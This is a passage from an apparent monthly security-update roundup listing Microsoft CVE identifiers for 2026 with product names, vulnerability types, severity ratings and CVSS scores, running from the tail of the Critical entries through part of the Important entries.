CVE-2026-54995 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-42982 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Critical 7.8 No No EoP
CVE-2026-50392 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Critical 7 No No EoP
CVE-2026-50694 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-56188 Windows Server Network driver Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50444 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-54999 Windows TCP/IP Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-47302 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50525 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50651 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57108 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50524 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50527 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50648 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50650 .NET Framework Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50646 .NET Framework Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50649 .NET Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-47304 .NET Security Feature Bypass Vulnerability Important 8.1 No No SFB
CVE-2026-50528 .NET Security Feature Bypass Vulnerability Important 8.2 No No SFB
CVE-2026-50659 .NET Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-50526 .NET Tampering Vulnerability Important 7 No No Tampering
CVE-2026-50682 Active Directory Denial of Service Vulnerability Important 7.1 No No DoS
CVE-2026-55001 Active Directory Domain Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50647 Active Directory Federation Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50684 Active Directory Federation Server Spoofing Vulnerability Important 4.8 No No Spoofing
CVE-2026-56170 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-47300 ASP.NET Core Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-47303 ASP.NET Core Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50652 Azure Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50653 Azure Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57969 Azure CycleCloud Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58279 Azure CycleCloud Elevation of Privilege Vulnerability Important 6.5 No No EoP
CVE-2026-47632 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50338 Azure Spring Apps Elevation of Privilege Vulnerability Important 8.2 No No EoP
CVE-2026-50488 Clipboard User Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50491 Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50381 Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50427 Content Delivery Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50692 Desktop Window Manager Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58633 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58634 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50296 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50375 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-50353 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50493 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56643 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56644 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58629 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49174 DNS Client Tampering Vulnerability Important 6.1 No No Tampering
CVE-2026-50495 DNS Client Tampering Vulnerability Important 6.1 No No Tampering
CVE-2026-57088 Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50663 Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-47282 GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-50510 GitHub Copilot Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49787 HTTP.sys Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50420 HTTP.sys Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-49788 HTTP/2 Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50696 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-58617 M365 Copilot for iOS Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-58595 Microsoft Bing App for IOS Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-49162 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50305 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50361 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50466 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50458 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50658 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-56178 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-50657 Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability Important 4.7 No No Info
CVE-2026-50329 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58541 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58596 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability Important 8.3 No No EoP
CVE-2026-57991 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Important 7.4 No No Info
CVE-2026-58291 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-57981 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57984 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57985 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.6 No No RCE
CVE-2026-57986 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57988 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.1 No No RCE
CVE-2026-57992 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58276 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-56645 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57974 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57975 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58281 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58284 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58285 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58287 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58288 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58289 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 9 No No RCE
CVE-2026-58290 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58292 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58293 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-58294 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57983 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.7 No No SFB
CVE-2026-58295 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.3 No No SFB
CVE-2026-58525 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.2 No No SFB
CVE-2026-57987 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-58278 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-56646 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-57977 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-57993 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.4 No No Spoofing
CVE-2026-58282 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58283 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58286 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58298 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.2 No No Spoofing
CVE-2026-58524 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-58296 Microsoft Edge for Android Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-58297 Microsoft Edge for Android Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-58300 Microsoft Edge for Android Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-58522 Microsoft Edge for Android Information Disclosure Vulnerability Important 6.8 No No Info
CVE-2026-58299 Microsoft Edge for Android Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58523 Microsoft Edge for Android Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-50678 Microsoft Excel Information Disclosure Vulnerability Important 6.6 No No Info
CVE-2026-54988 Microsoft Excel Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-48580 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50408 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55046 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55138 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55054 Microsoft Excel Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-55122 Microsoft Excel Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-55898 Microsoft Excel Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-50675 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55899 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55948 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58618 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-47642 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55024 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55025 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55031 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55048 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55029 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55039 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55136 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55141 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55036 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55044 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55037 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55058 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55137 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55053 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55131 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-54131 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55947 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55949 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-56156 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55006 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55009 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55005 Microsoft Exchange Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56642 Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-50343 Microsoft Install Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50439 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-58537 Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56193 Microsoft Office Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-55023 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55026 Microsoft Office Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-55027 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55028 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55047 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55035 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55057 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55121 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55042 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55139 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50665 Microsoft Office Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-56192 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56195 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-47290 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50301 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55017 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55125 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55133 Microsoft OneNote Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58636 Microsoft PC Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50438 Microsoft PC Manager Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58647 Microsoft PowerBI Report Server Spoofing Vulnerability Important 8 No No Spoofing
CVE-2026-55052 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58277 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-55051 Microsoft SharePoint Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54108 Microsoft SharePoint Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-55016 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55019 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55020 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55021 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55030 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55034 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55126 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55135 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-56157 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-47296 Microsoft SQL Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55002 Microsoft SQL Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-47295 Microsoft SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50468 Microsoft SQL Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54116 Microsoft SQL Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-42900 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-49784 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50356 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49165 Microsoft Windows App Store Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-54993 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58610 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55050 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55124 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55142 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55032 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55055 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55038 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55134 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55128 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55130 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50359 Microsoft XML Core Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-57097 Microsoft XML Security Feature Bypass Vulnerability Important 6.4 No No SFB
CVE-2026-50346 Netlogon RPC Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50402 NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50506 OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-45646 OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-54989 Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50365 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-54990 Remote Desktop Client Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-58594 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56190 Remote Desktop Protocol Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-49783 Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No SFB
CVE-2026-42990 SQL Server ODBC driver Elevation of Privilege Vulnerability Important 9.8 No No EoP
CVE-2026-49168 Storage Spaces Direct Elevation of Privilege Vulnerability Important 6.2 No No EoP
CVE-2026-48581 Surface Broker SDMA Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49180 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50455 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-54111 Universal Print Management Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58543 Universal Print Management Service Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-58601 Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability Important 7.8 No No EoP
CVE-2026-50520 Visual Studio Code Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-45496 Visual Studio Code Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-57101 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No SFB
CVE-2026-57102 Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-47305 Visual Studio Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49805 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50297 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50325 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50489 Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-57095 Win32k Elevation of Privilege Vulnerability Important 6.2 No No EoP
CVE-2026-50416 Win32k Information Disclosure Vulnerability Important 3.3 No No Info
CVE-2026-56184 Win32k Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50432 Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability Important 5.3 No No DoS
CVE-2026-54119 Windows Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57976 Windows Active Directory Domain Services Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50366 Windows Active Directory Domain Services Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-49178 Windows Active Directory Domain Services Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-58529 Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-54983 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50695 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50304 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50368 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50324 Windows Active Directory Federation Services Denial of Service Vulnerability Important 5.9 No No DoS
CVE-2026-50355 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50411 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-58631 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-56196 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56197 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56169 Windows Admin Center Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-57107 Windows Admin Center Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56185 Windows Admin Center Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50312 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 4.7 No No EoP
CVE-2026-50462 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-57093 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-34346 Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-48572 Windows App Package Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-48571 Windows App Package Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50400 Windows App Package Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50331 Windows Application Model Core API Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49803 Windows AppX Deployment Extensions Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50351 Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50440 Windows Audio Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34328 Windows Audio Service Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50406 Windows Backup Engine Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50364 Windows Backup Service Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-42975 Windows Bluetooth Port Driver Remote Code Execution Important 8 No No RCE
CVE-2026-58538 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58638 Windows Boot Loader Security Feature Bypass Vulnerability Important 6 No No SFB
CVE-2026-58637 Windows Client-Side Caching Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50384 Windows Clip Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49183 Windows Clipboard Server Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50689 Windows Clipboard Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50374 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-58536 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58613 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50401 Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50697 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50667 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50421 Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50428 Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-50352 Windows Cryptographic Services Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50302 Windows Cryptographic Services Security Feature Bypass Vulnerability Important 4.2 No No SFB
CVE-2026-55144 Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability Important 7.1 No No Tampering
CVE-2026-50347 Windows Data.dll Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49181 Windows DHCP Client Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50683 Windows DHCP Client Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-58627 Windows DHCP Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50685 Windows DHCP Server Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-49807 Windows DirectX Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-49175 Windows DNS Client Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50487 Windows DNS Client Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-50465 Windows DNS Client Tampering Vulnerability Important 7.1 No No Tampering
CVE-2026-49169 Windows DNS Server Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-50426 Windows DNS Server Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-50424 Windows Domain Controller Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50300 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50437 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-34348 Windows Event Logging Service Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50502 Windows Event Logging Service Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-33842 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40422 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-41087 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50473 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50442 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50389 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50456 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-57084 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-57091 Windows File History Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50405 Windows Filtering Platform Elevation of Privilege Vulnerability Important 7.8 No No EoP
